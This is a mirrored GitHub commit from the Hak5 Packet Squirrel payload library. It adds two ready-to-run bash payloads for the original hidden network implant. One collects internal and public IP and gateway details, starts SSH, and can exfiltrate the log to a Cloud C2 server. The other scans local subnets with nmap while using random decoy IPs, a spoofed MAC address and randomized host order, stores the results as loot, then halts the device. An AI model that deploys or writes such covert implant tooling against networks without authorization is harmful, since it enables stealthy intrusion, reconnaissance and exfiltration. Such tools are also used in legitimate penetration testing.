mirror of
https://github.com/hak5/packetsquirrel-payloads.git
synced 2025-12-19 17:58:49 +00:00
Update repos for Packet Squirrel Mk 2 release
This commit is contained in:
Mike Kershaw / Dragorn
64
legacy-mk1/payloads/library/recon/ipinfo/payload.txt
Executable file
64
legacy-mk1/payloads/library/recon/ipinfo/payload.txt
Executable file
@@ -0,0 +1,64 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# This payload is for the original Packet Squirrel. It may not work on
|
||||
# the Packet Squirrel Mark II
|
||||
#
|
||||
# Title: IP Info
|
||||
# Author: Hak5Darren
|
||||
# Version: 1.0
|
||||
#
|
||||
# Description: This payload gathers internal and external IP address info,
|
||||
# including default gateway, saving the log to the loot directory and
|
||||
# optionally exfiltrating the log to Cloud C2 if CLOUDC2=1
|
||||
#
|
||||
# LED SETUP (Magenta)... Setting logs and waiting for IP address from DHCP
|
||||
# LED ATTACK (Yellow Blink)... Saving IP address information
|
||||
# LED FAIL (Red Blink)... Failed to gather public IP address
|
||||
# LED SPECIAL (Cyan Blink)... Exfiltrating log to Cloud C2
|
||||
# LED FINISH (Green Fast Blink to Solid)... Payload successful
|
||||
|
||||
CLOUDC2=0
|
||||
|
||||
# Save to /root/ for internal memory
|
||||
#LOOT_DIR=/root/loot/ipinfo
|
||||
# Save to /mnt/ for USB drive
|
||||
LOOT_DIR=/mnt/loot/ipinfo
|
||||
PUBLIC_IP_URL="http://ipinfo.io/ip"
|
||||
|
||||
function FAIL() { LED FAIL; exit; }
|
||||
LED SETUP
|
||||
|
||||
# Make log file
|
||||
mkdir -p $LOOT_DIR
|
||||
LOG_FILE="ipinfo_$(find $LOOT_DIR -type f | wc -l).log"
|
||||
LOG="$LOOT_DIR/$LOG_FILE"
|
||||
|
||||
# Optionally start SSH server
|
||||
/etc/init.d/sshd start
|
||||
|
||||
|
||||
# Ask for IP address
|
||||
NETMODE NAT
|
||||
|
||||
# Wait until Packet Squirrel has an IP address
|
||||
while ! ifconfig eth1 | grep "inet addr"; do sleep 1; done
|
||||
|
||||
LED ATTACK
|
||||
# Gather IP info and save log
|
||||
INTERNALIP=$(ifconfig eth1 | grep "inet addr" | awk {'print $2'} | awk -F: {'print $2'})
|
||||
GATEWAY=$(route | grep default | awk {'print $2'})
|
||||
PUBLICIP=$(wget --timeout=30 $PUBLIC_IP_URL -qO -) || FAIL
|
||||
echo -e "Date: $(date)\n\
|
||||
Internal IP Address: $INTERNALIP\n\
|
||||
Public IP Address: $PUBLICIP\n\
|
||||
Gateway: $GATEWAY\n" >> $LOG
|
||||
|
||||
# Optionally connect to Cloud C2, wait for connection and exfiltrate loot
|
||||
if [ "$CLOUDC2" = "1" ]; then
|
||||
LED SPECIAL
|
||||
C2CONNECT
|
||||
while ! pgrep cc-client; do sleep 1; done
|
||||
C2EXFIL STRING $LOG IPinfo
|
||||
fi
|
||||
|
||||
LED FINISH
|
||||
28
legacy-mk1/payloads/library/recon/nmapdump/README.md
Normal file
28
legacy-mk1/payloads/library/recon/nmapdump/README.md
Normal file
@@ -0,0 +1,28 @@
|
||||
Title: NMap Dump
|
||||
|
||||
Description: Dumps NMap scan data to USB storage.
|
||||
|
||||
Author: infoskirmish.com
|
||||
|
||||
Version: 1.0
|
||||
|
||||
Category: sniffing
|
||||
|
||||
Target: Any
|
||||
|
||||
Net Mode: NAT
|
||||
|
||||
|
||||
LEDs
|
||||
|
||||
SUCCESS: Scan complete
|
||||
|
||||
FAIL: No USB storage found
|
||||
|
||||
SCANNING: Rapid White
|
||||
|
||||
This payload will launch NMap on a given interface (default eth0) and scan the local subnet. There is no need to know the subnet as the payload will capture and infer the subnet from the IP it receives while launching.
|
||||
|
||||
The payload will store scan files in all three file types supported by nmap. Also the payload will create a log.txt file to dump process information which may be useful to troubleshoot errors. The default path is /mnt/loot/nmapdump
|
||||
|
||||
The payload has common variables that maybe changed located at the top of the file making customizing this payload as your deployment needs dictate.
|
||||
266
legacy-mk1/payloads/library/recon/nmapdump/payload.sh
Normal file
266
legacy-mk1/payloads/library/recon/nmapdump/payload.sh
Normal file
@@ -0,0 +1,266 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# This payload is for the original Packet Squirrel. It may not work on
|
||||
# the Packet Squirrel Mark II
|
||||
#
|
||||
# Title: NMap Dump
|
||||
# Description: Dumps NMap scan data to USB storage.
|
||||
# Author: infoskirmish.com
|
||||
# Version: 1.0
|
||||
# Category: sniffing
|
||||
# Target: Any
|
||||
# Net Mode: TRANSPARENT
|
||||
|
||||
# LEDs
|
||||
# SUCCESS: Scan complete
|
||||
# FAIL: No USB storage found
|
||||
# SCANNING: Rapid White
|
||||
|
||||
#### Constants ####
|
||||
|
||||
defaultInterface="lo" # If you know which interface will allow outbound traffic you can specify it here
|
||||
# leaving it blank will enable the payload trying to attempt to figure out which
|
||||
# interface to use.
|
||||
|
||||
rndDecoyNumber=5 # Number of decoy IPs to spawn
|
||||
spoofDevType="Cisco" # Spoof the MAC of this device type
|
||||
|
||||
netSleep=10 # Seconds to sleep while loading NAT
|
||||
mode="TRANSPARENT" # Squirrel NETMOD TRANSPARENT | BRDIGE | NAT | VPN | NONE (this won't kick you off ssh session)
|
||||
onEnd="halt" # When done what should we do? reboot | halt | nothing | poweroff
|
||||
|
||||
lootPath="/mnt/loot/nmapdump" # Path to store results
|
||||
lootFileNameScheme="nmapdump_$(date +%Y-%m-%d-%H%M)" # File name scheme
|
||||
|
||||
#### Payload Code ####
|
||||
|
||||
function finish() {
|
||||
|
||||
# Sync filesystem
|
||||
sync
|
||||
|
||||
# Indicate successful shutdown
|
||||
LED B SUCCESS
|
||||
sleep 1
|
||||
|
||||
# Halt the system
|
||||
LED OFF
|
||||
|
||||
case "$onEnd" in
|
||||
"poweroff") poweroff ;;
|
||||
"reboot") reboot ;;
|
||||
"halt") halt ;;
|
||||
"nothing") echo "see ya!" >> $lootPath/log.txt ;;
|
||||
*) reboot;;
|
||||
esac
|
||||
|
||||
}
|
||||
|
||||
function run() {
|
||||
|
||||
# Create loot directory
|
||||
mkdir -p $lootPath &> /dev/null
|
||||
|
||||
# Set networking mode to user preferance and sleep to allow time to sync up.
|
||||
# If set to NONE this will not be set and thus not kick you out of your SSH session.
|
||||
if [ "$mode" != "NONE" ]; then
|
||||
|
||||
NETMODE $mode
|
||||
sleep $netSleep
|
||||
|
||||
fi
|
||||
|
||||
# Log ifconfig data; helpful for troubleshooting
|
||||
ifconfig >> $lootPath/log.txt
|
||||
|
||||
# Starting scanning LED (rapid white blink)
|
||||
LED W VERYFAST
|
||||
|
||||
# Run nmap scan with options
|
||||
|
||||
# Now lets figure out which interface to use.
|
||||
iface=$(ip -o link show | awk '{print $2}')
|
||||
|
||||
# Set ipv6 default to null
|
||||
ipv6=""
|
||||
|
||||
# Now lets look at the ip addresses assigned to the various interfaces.
|
||||
while IFS= read -r line; do
|
||||
|
||||
# Standardize interface name
|
||||
line="${line//:}"
|
||||
|
||||
# We can skip lo
|
||||
if [ "$line" != "lo" ]; then
|
||||
|
||||
# Get IP Address for Interface.
|
||||
ifip=$(ifconfig $line 2>/dev/null|awk '/inet addr:/ {print $2}'|sed 's/addr://')
|
||||
|
||||
# Make sure result is not null.
|
||||
if [ "$ifip" ]; then
|
||||
|
||||
# Store for later use the ip addresses associted with interface.
|
||||
# We don't want an empty 1st line.
|
||||
if [ "$ipaddresses" ]; then
|
||||
ipaddresses+=$'\n'$ifip
|
||||
else
|
||||
ipaddresses=$ifip
|
||||
fi
|
||||
|
||||
# If user has specified a default interface than we can disregard.
|
||||
if [ ! "$defaultInterface" ]; then
|
||||
|
||||
# Store the interface for later use.
|
||||
# We don't want an empty 1st line.
|
||||
if [ "$interfaces" ]; then
|
||||
interfaces+=$'\n'$line
|
||||
else
|
||||
interfaces=$line
|
||||
fi
|
||||
fi
|
||||
|
||||
# convert ip to subnet
|
||||
newSubNet=`echo $ifip | cut -d"." -f1-3`
|
||||
newSubNet=$newSubNet".1/24"
|
||||
|
||||
# Add subnet to list
|
||||
# We don't want a leading empty character.
|
||||
if [ "$newSubNet" ]; then
|
||||
targets+=" $newSubNet"
|
||||
else
|
||||
targets=$newSubNet
|
||||
fi
|
||||
|
||||
fi
|
||||
|
||||
fi # end our test for lo
|
||||
|
||||
done <<< "$iface" # loop to gather IP addresses
|
||||
|
||||
# Clean up subnets to remove accidental double spaces.
|
||||
echo "$targets" | awk '$1=$1' &> /dev/null
|
||||
|
||||
# if targets is empty we have no subnets. Let's check if we can find IPv6
|
||||
if [ ! "$targets" ]; then
|
||||
|
||||
# Collect all uniqu IPv6 address that we can ping.
|
||||
ipv6=$(ping -6 ff02::1 -w 10 2>/dev/null | awk '/from/ {print $4}' | cut -d":" -f1-6 | sort | uniq | tr "\r\n" " ")
|
||||
if [ ! "$ipv6" ]; then
|
||||
|
||||
# We could not find any ipv4 address and ipv6 returned nothing.
|
||||
echo "Could not accquire any IP addresses to scan." >> $lootPath/log.txt
|
||||
sync
|
||||
LED OFF
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# Add lo as some setups the loopback maybe the interface to send out traffic
|
||||
# If user supplies default interface tie in their selection and disregard the
|
||||
# auto locate data.
|
||||
if [ ! "$defaultInterface" ]; then
|
||||
interfaces+=$'\nlo'
|
||||
else
|
||||
interfaces=$defaultInterface
|
||||
fi
|
||||
|
||||
# log subnets and ip addresses we found
|
||||
echo "Subnets to scan $targets" >> $lootPath/log.txt
|
||||
echo "IPs to scan $ipaddresses" >> $lootPath/log.txt
|
||||
|
||||
# Document the fact we will be scanning ipv6
|
||||
if [ "$ipv6" ]; then
|
||||
echo "We will be scanning ipv6 addresses" >> $lootPath/log.txt
|
||||
fi
|
||||
|
||||
# Now lets find the interface that will allow outbound traffic on the LAN.
|
||||
while IFS= read -r interface; do
|
||||
|
||||
# We will use the ip addresses we found to see if this interface can ping it.
|
||||
while IFS= read -r ip; do
|
||||
|
||||
# If we can send ping packets then the interface is likley able to work with nmap
|
||||
# Determin if we should ping in ipv4 or ipv6
|
||||
if [ ! "$ipv6" ]; then
|
||||
|
||||
if [[ ! $(ping -I $interface $ip -w 3 | grep '0 packets received') ]]; then
|
||||
|
||||
# Make sure wee don't end up with a blank first line.
|
||||
if [ "$goodInterface" ]; then
|
||||
|
||||
goodInterfaces+=$'\n'$interface
|
||||
else
|
||||
goodInterfaces=$interface
|
||||
fi
|
||||
fi
|
||||
|
||||
else
|
||||
|
||||
if [[ ! $(ping -6 ff02::1 -w 3 | grep '0 packets received') ]]; then
|
||||
|
||||
# Make sure wee don't end up with a blank first line.
|
||||
if [ "$goodInterface" ]; then
|
||||
|
||||
goodInterfaces+=$'\n'$interface
|
||||
else
|
||||
goodInterfaces=$interface
|
||||
fi
|
||||
fi
|
||||
|
||||
fi
|
||||
|
||||
done <<< "$ipaddresses" # end loop to find interfaces we can use
|
||||
|
||||
done <<< "$interfaces" # end loop to scan interfaces
|
||||
|
||||
# Log interfaces we can use
|
||||
echo "Interfaces allowing outbound traffic: $goodInterfaces" >> $lootPath/log.txt
|
||||
|
||||
# Make sure we have interfaces that will allow outbound traffic.
|
||||
if [ "$goodInterfaces" ]; then
|
||||
while IFS= read -r goodInterface; do
|
||||
|
||||
# Finally! Lets run NMap!
|
||||
# Use ipv4
|
||||
if [ ! "$ipv6" ]; then
|
||||
nmap -Pn -e $goodInterface -sS -F -sV -oA $lootPath/$lootFileNameScheme -D RND:$rndDecoyNumber --randomize-hosts --spoof-mac $spoofDevType $targets >> $lootPath/log.txt
|
||||
else
|
||||
# Use ipv6
|
||||
nmap -Pn -e $goodInterface -sT -F -R -oA $lootPath/$lootFileNameScheme --randomize-hosts --spoof-mac $spoofDevType -6 $ipv6 >> $lootPath/log.txt
|
||||
fi
|
||||
|
||||
done <<< "$goodInterfaces"
|
||||
|
||||
else
|
||||
echo "Could not find any interfaces that will allow outbound traffic." >> $lootPath/log.txt
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
# Done scanning; clean up.
|
||||
finish
|
||||
|
||||
} # end run() function
|
||||
|
||||
|
||||
# Check if we have USB storage
|
||||
if [ -d "/mnt/loot" ]; then
|
||||
|
||||
# Clear log file
|
||||
echo "" > $lootPath/log.txt
|
||||
|
||||
# Show attack LED
|
||||
LED ATTACK
|
||||
|
||||
# ATTACK!!!!
|
||||
run
|
||||
|
||||
else
|
||||
|
||||
# USB storage could not be found; log it in ~/payload/switch1/log.txt
|
||||
echo "Could not load USB storage. Stopping..." > log.txt
|
||||
|
||||
# Display FAIL LED
|
||||
LED FAIL
|
||||
|
||||
fi
|
||||
Reference in New Issue
Block a user